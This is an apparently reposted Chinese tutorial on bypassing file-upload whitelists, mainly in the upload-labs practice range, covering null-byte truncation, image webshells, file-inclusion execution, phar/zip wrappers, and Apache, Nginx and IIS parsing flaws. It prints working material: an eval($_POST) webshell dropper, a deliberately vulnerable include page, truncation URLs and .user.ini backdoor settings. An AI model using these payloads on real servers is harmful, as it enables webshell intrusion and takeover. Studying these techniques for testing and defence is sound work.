文件上传漏洞进阶教程/白名单绕过/图片马制作/图片马执行
Posted 白帽Chen_D
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了文件上传漏洞进阶教程/白名单绕过/图片马制作/图片马执行相关的知识,希望对你有一定的参考价值。
一、白名单绕过
相对于前面的黑名单绕过,白名单更加难以绕过,使用白名单验证相对比较安全,但如果存在可控参数目录,也存在被绕过的风险
目录可控%00截断绕过上传
upload-lab pass11 源码分析
$is_upload = false;
$msg = null;
if(isset($_POST['submit']))
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr))
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path))
$is_upload = true;
else
$msg = '上传失败!';
else
$msg = "只允许上传.jpg|.png|.gif类型文件!";
deny_arr变成ext_arr,白名单,下面判断后缀名是否在白名单中,代码相较于黑名单也简单不少
但是这里使用了$_GET['save_path']获取客户端的值,这个值可以被客户端修改,从而遗留安全隐患
截断文件名
%00截断需要gpc关闭 php版本要小于5.3.4版本
我这里版本是5.4.45先选择一个低版本
关闭gpc
这种攻击手法其实与sql注入中的注释差不多,%00的意思是忽略后面的内容进行上传,如果我们上传test.png再给服务器传递的save_path改为/upload/test.php%00那么最终上传到服务器的内容为test.php,操作一下,看起来就直观了
尝试上传
看到这里save_path其实就是本地的upload文件夹的路径,在后端中与检测后的文件名拼接,将文件上传,我们通过截断,忽略检测后的内容,直接上传到我们写入的文件中
因为已知是get型,所以直接写%00就ok,get型需要进行编码
清空前面上传的内容
放包
上传成功
POST型截断
pass-12
只是将GET改成POST了
尝试上传
一样的套路,上传test.php抓包
直接在抓包里进行解码再放包就ok了
二、文件头检测绕过
有的文件上传,上传时会检测文件头,不同的文件,文件头也不一样,常见的文件上传图片头检测 它检测图片两个字节长度,如果不是图片格式,会禁止上传文件
常见的文件头
PNG:89504E47
JPEG:FFD8FF
GIF:47494638
....
对隐写术有些了解的同学应该对这个很熟悉啦
pass-13
代码分析
nction getReailFileType($filename)
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode)
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
return $fileType;
这时提取文件头的函数
对文件进行解包
转成整型,然后白名单判断
下面就是获取上传文件,调用这个函数,返回如果不是unknown就上传,代码就不展示了
图片一句话木马
为了绕过上述的检测,我们可以制作图片马,即将图片信息与木马组合到一起上传
制作
准备一张正常的图片,与恶意脚本php,放到一个目录下
目录下运行CMD,执行
copy 1.png/b+test.php test.png
生成了一个新的png,我们直接给它上传到服务器
右键图片打开链接(获取图片地址),复制url
upload/3520221023175627.png
这里需要利用文件包含漏洞,才能执行我们的图片马
我看大佬们这一关直接有个提示,有个链接,就是存在文件包含漏洞网页,但我这个靶场可能抽风了,我找了半天也没找到,所以我就自己写了一个,如果你们也没有可以直接再upload-labs文件夹下新建一个include.php
<?php
header("Content-Type:text/html;charset=utf-8");
$file=$_GET['file'];
if(isset($file))
include $file;
else
show_source(__FILE__);
?>
复制保存就ok了
下面进入文件包含漏洞页面
将图片地址给传进去
看到一堆乱码,这就是前面图片的内容,往下翻,就可以看到phpinfo()的结果啦
上传成功!
三、图片检测函数绕过
pass-14
getimagesize是获取图片的大小,如果头文件不是图片会报错,直接可以利用图片马
上传
一样的上传我们做好的图片马,通过包含漏洞,进行执行
一道面试题引发的思考第一篇-文件上传白名单绕过
文件上传白名单绕过
这种问题简直是对 CTFer 的重大利好,跟进,举例一些白名单绕过的方法(掺杂几个黑名单绕过)
文章目录
演示环境
使用 upload-labs 靶场做演示
apache + php,php 版本为 5.2.17
1.00截断
00 0a截断
截断条件
- PHP 版本 < 5.3.4
magic_quotes_gpc
关闭
原理:php 的一些函数的底层是 C 语言,而 move_uploaded_file 就是其中之一,遇到 0x00 会截断,0x 表示16进制,URL中%00解码成16进制就是 0x00
可以使用下图的插件判断 PHP 版本
Get00截断
upload-labs pass 12
选择 shell 上传,因为存储文件名为 save_path 拼接上 filenname,因为 save_path 使用 get 方式传输可以使用 00 截断
上传成功后返回上传地址,其实并没有这个文件
因为 00 截断保存文件实为 shell.php
直接访问 shell.php 即可
Post00截断
upload-labs pass 13
因为 post 请求数据包不能自动 url 解码,所以 post 截断需要使用 burp 抓包修改
生成 shell aa.php
2.文件包含
文件包含图片马
如果一个网站存在 PHP 文件包含漏洞,要知道 PHP include 函数的特点就是会把一切包含文件当作 PHP 代码执行,此时就可以上传一张图片利用文件包含漏洞 getshell,图片马的二次渲染绕过也属于此范畴,关于二次渲染可以看之前发过的一篇文章,链接
upload-labs pass 14
先上传一个图片马
利用文件包含漏洞包含即可
Phar 协议文件包含
之前总结过 phar 反序列化,链接,其中介绍了 phar 协议的文件包含
phar协议要求:
- php大于5.3.0
- 需要将php.ini的参数phar.readonly设置为off
因为phar文件本质就是以中压缩文件,所以可以使用phar伪协议读取执行
很多网站都采用单一入口模式来作为网站文件加载模式
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include($action.'.php'); //载入相应文件
?>
此处就存在文件包含漏洞,可以利用伪协议读取文件源码,但是只能访问php文件
如果该网站同时存在上传图片的功能,这时就可以利用phar反序列化漏洞
首先写一个 test.php,写入要执行的命令
<?php phpinfo();?>
将 test.php 压缩为 test.zip 注意:压缩时选择仅存储,在文件上传处上传 test.zip 文件
将 test.zip 文件后缀改为 jpg,上传 jpg 文件,在 url 中访问
?r=phar://pic/test.jpg/test
不仅可以使用phar协议,zip协议也是可以的
zip文件包含
和phar用法不同效果一致
include($file.'.jpg');
# \\x00的截断在php<5.3.4you'xi
将php文件后缀改为jpg(因为是include .jpg),然后用压缩软件压缩为 zip格式,再将 zip 文件后缀名改为 jpg(绕过限制方便图片上传)
/?r=zip://pic/test4.jpg%23test
pic是图片保存目录
这个例子只是利用了phar伪协议解析文件,并没有利用反序列化
文件包含利用方式比较多,不仅可以上传文件包含,也可以结合日志、session文件 getshell,作为扩展内容补充
(扩展)文件包含日志
如果目标主机可以被访问到,且日志中记录了请求信息,就可以通过包含日志文件进行getshell
日志文件路径: ?file=/var/log/nginx/access.log
(扩展)文件包含session
利用session对话进行文件包含利用参考链接
#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
利用竞争,在session文件内容清空前进行包含利用
如果
session.auto_start=On
,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。这个选项 docker 环境中默认开启但session还有一个默认选项,session.use_strict_mode 默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里
4.解析漏洞
文件解析漏洞,是指Web容器(Apache、Nginx、IIS等)在解析文件时将文件解析成脚本文件格式并得以执行而产生的漏洞。从而,黑客可以利用该漏洞实现非法文件的解析,这里把所有的解析漏洞列出来,不仅包括白名单绕过
Apache
多后缀解析漏洞
在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断
比如上传php.aa.a
文件绕过验证且服务器依然会将其解析为php
Apache配置问题
apache2.conf/httpd-conf
是 Apache 的系统配置文件,一个全局的配置文件,对整个 web 服务起作用;而.htaccess
也是 Apache 的配置文件,不过相当于一个局部配置文件,只对该文件所在目录下的文件起作用
将Apache的/etc/apache2/sites-available/default
里AllowOverride None
改为AllowOverride All
AllowOverride All
开启rewrite_mod
a2enmod rewrite
这样.htaccess
文件就会生效
-
Apache的
/etc/apache2/apache2.conf
里有这样的配置<FilesMatch "aaa.jpg"> SetHandler application/x-httpd-php </FilesMatch>
这时只要文件名是
aaa.jpg
,会以php 来执行 -
如果在Apache的 conf 里有这样一行配置
AddHandler php5-script .php
这时只要文件名里包含
.php
,即使文件名是shell.php.jpg
也会以 php 来执行 -
如果在 Apache 的 conf 里有这样一行配置
AddType application/x-httpd-php .jpg
即使扩展名是
.jpg
,也会以php来执行
罕见后缀
Apache配置文件中会有.+.ph(p[345]?|t|tml)
此类的正则表达式,被当php程序执行的文件名要符合正则表达式。也就是说php3,php4,php5,pht,phtml等文件后缀也是可以被当作php文件进行解析的
后缀包含换行符\\x0A(CVE-2017-15715)
影响版本:
Apache 2.4.0-2.4.29
上传一个后缀末尾包含换行符的文件,来绕过 FilesMatch。绕过 FilesMatch 不一定能被 PHP 解析,这个漏洞可以用来绕过文件上传黑名单限制
1.php\\x0a => 1.php
apache通过mod_php来运行脚本,其2.4.0-2.4.29中存在 apache 换行解析漏洞,在解析php时xxx.php\\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。该漏洞属于用户配置不当产生的漏洞,与具体中间件版本无关
Nginx
Nginx PHP CGI解析漏洞
由于Nginx的特性,只要URL中路径名以.php
结尾,不管该文件是否存在,直接交给php处理
影响版本:
漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞
注意:phpstudy <= 8.1.0.7 phpstudy 存在 nginx php cgi 解析漏洞
漏洞形式
/1.jpg/1.php
/1.jpg/.php
/1.jpg%00.php
/1.jpg/%20\\0.php
漏洞原理
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问
http://x.x.x.x/phpinfo.jpg/1.php
这个URL时,$fastcgi_script_name
会被设置为phpinfo.jpg/1.php
,然后构造成SCRIPT_FILENAME传递给PHP CGI但PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?
这就涉及到
fix_pathinfo
选项了。如果PHP中开启了fix_pathinfo这个选项,PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了
需要上传后缀文件,然后访问时加上 /.php,这样文章就会当作 php 执行
上传一个名字为 shell.jpg,文件内容如下:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['shell']);?>'); ?>
然后访问shell.jpg/.php
,在当前目录下就会生成一句话木马 shell.php
00截断
影响版本:
Nginx 0.5.x
Nginx 0.6.x
Nginx 0.7-0.7.65
Nginx 0.8-0.8.37
IIS
IIS 5.0 和 6.0 解析漏洞
使用 iis5.x-6.x 版本的服务器,大多为windows server 2003,网站比较古老,开发语言一般为 asp;该解析漏洞也只能解析 asp 文件,而不能解析aspx 文件
-
目录解析(6.0)
xx.asp/xx.jpg
服务器默认会把
.asp
,.asa
目录下的文件都解析成 asp 文件 -
文件解析(6.0)
xx.asp;.jpg
服务器默认不解析
;
号后面的内容,因此xx.asp;.jpg
便被解析成asp文件 -
解析文件类型(默认解析后缀)
IIS6.0 默认的可执行文件除了asp还包含这三种,可用于绕过黑名单限制
/xx.asa /xx.cer /xx.cdx
IIS 7.0/7.5 CGI解析漏洞
与 Nginx php cgi 解析漏洞类似,都是由于php配置文件中,开启了cgi.fix_pathinfo
漏洞形式
/1.jpg/1.php
/1.jpg/.php
/1.jpg%00.php
/1.jpg/%20\\0.php
.user.ini
php.ini 是 php 的一个全局配置文件,对整个 web 服务起作用;而.user.ini 和.htaccess 一样是目录的配置文件,.user.ini 就是用户自定义的一个 php.ini,通常用这个文件来构造后门和隐藏后门
为了防止跨站,可将 .user.ini
放在网站根目录下,内容为:
open_basedir=/项目路径/:/tmp/:/proc/
上传图片马,然后上传 .user.ini 配置文件,配置文件内容如下,就相当于文件包含
auto_prepend_file = <filename> //包含在文件头
auto_append_file = <filename> //包含在文件尾
5.系统文件名规则
(黑名单)NTFS隐写
Windows 下 NTFS 文件系统的一个特性,即 NTFS 文件系统的存储数据流的一个属性::$DATA
,当访问a.php::$DATA
就会访问 a.php,这个特点可以用于黑名单绕过
超长文件名
截断超长文件名windows文件名:长度限制完全限定文件名必须少于260个字符,目录名必须小于248个字符linux文件名:linux中文件名最长为255字符,文件路径最大长度为4096字符如果后端脚本没有限制上传文件名长度,可以通过多次测试,上传名为aaaaa…(200+).php.jpg,把最后的.jpg挤出去,
6.参数污染
双写filename 或者直接多个 Content-Disposition,绕过 waf 的常见手段
7.脏字符绕过
适用于硬件 WAF,软件 WAF 一般拦截都有一个特征页面,比如安全狗的那条狗,D盾的盾,最不好区分的就是云 waf 与硬件 waf,这绝大部分需要依靠自己经验判别。
硬件WAF会发生脏字符绕过主要原因为数据包过大消耗内存,为了避免影响服务而放行,当然这是有概率的哈,如何快速提高概率呢?intruder带来无限可能,唯一缺陷,电脑一跑容易死机
8.分块传输/HTTP请求走私
分块传输编码(Chunked transfer encoding)是超文本传输协议(HTTP)中的一种数据传输机制,允许HTTP由应用服务器发送给客户端应用( 通常是网页浏览器)的数据可以分成多个部分绕过 WAF 限制,绕过 WAF 限制的常见手段,适用于多种攻击情况
可以阅读以下文章
Burp 分块传输插件项目地址:https://github.com/c0ny1/chunked-coding-converter
9.Tips
如果可以上传svg,则必然存在xss,因为 svg 图片内容为 xml 标签
参考链接
- https://www.anquanke.com/post/id/219107
- https://www.freebuf.com/articles/web/259377.html
以上是关于文件上传漏洞进阶教程/白名单绕过/图片马制作/图片马执行的主要内容,如果未能解决你的问题,请参考以下文章